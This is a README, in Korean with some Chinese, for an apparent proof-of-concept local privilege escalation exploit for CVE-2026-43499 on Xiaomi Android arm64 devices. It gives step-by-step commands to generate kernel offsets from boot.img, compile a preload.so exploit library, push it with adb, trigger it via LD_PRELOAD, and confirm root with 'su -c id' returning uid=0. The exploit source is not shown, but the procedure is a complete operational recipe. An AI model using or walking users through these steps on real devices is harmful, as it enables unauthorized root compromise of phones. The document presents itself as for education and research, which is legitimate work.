
Xiaomi 기기에 영향을 미치는 CVE-2026-43499에 대한 취약점 분석 및 개념 증명(PoC)입니다. 교육 및 연구 목적으로만 사용하십시오.
English | 中文
이것은 CVE-2026-43499 를 위한 Android arm64 로컬 권한 상승 포팅 프로젝트입니다.
프로젝트는 대상 기기의 boot.img 및 profile 정보를 기반으로 target.h를 생성한 다음, 해당하는 preload.so를 컴파일합니다.
참고: 이 프로젝트는 범용 포팅 프레임워크이며 특정 단일 기기에 국한되지 않습니다. 실제 사용 가능 여부는
generate_target.py가target.h를 성공적으로 생성할 수 있는지와 실제 기기 테스트 결과에 따릅니다.
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile_xxx.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows에서는 다음을 권장합니다:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2에서 make를 설치합니다:
pacman -S make coreutils
다음 파일을 준비해야 합니다:
boot.img
profile_xxx.json
profile 예시:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile에 있는 이 두 주소:
p0_phys_offset
p0_kernel_phys_load
루팅되어 있고 대상 boot.img와 동일한 펌웨어를 사용하는 기기에서 스크립트를 실행하여 얻을 수 있습니다:
python3 detect_offset.py
Windows에서도 가능합니다:
python detect_offset.py
Linux / macOS:
cd /path/to/project
Windows MSYS2 예시:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Linux / macOS 예시:
export ANDROID_NDK_HOME=/path/to/android-ndk
Windows MSYS2 예시:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Windows에서 python3를 사용할 수 없으면 다음을 사용합니다:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
llvm-objdump를 찾을 수 없다는 메시지가 표시되면, 경로를 직접 지정하세요:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
성공하면 다음과 같은 출력이 표시됩니다:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
성공하면 다음 파일이 생성됩니다:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
검증:
adb shell '/data/local/tmp/su -c id'
성공 시 일반적으로 다음과 같은 출력이 표시됩니다:
uid=0(root) gid=0(root)
자신의 경로에 따른 예시:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
최종 파일:
source/build/bin/preload.so
LLVM을 설치하거나 다음을 사용하세요:
--llvm-objdump "/path/to/llvm-objdump"
Windows에서는 MSYS2로 설치합니다:
pacman -S make coreutils
일반적으로 NDK 경로가 올바르게 설정되지 않은 경우입니다.
Windows MSYS2 예시:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
일반적으로 현재 boot.img 또는 커널 레이아웃이 아직 포팅되지 않았음을 의미합니다.
다음 사항을 중점적으로 확인하세요:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h를 다시 생성해야 합니다.target.h는 수동으로 수정하지 않는 것이 좋으며 generate_target.py에 의해 자동 생성되어야 합니다.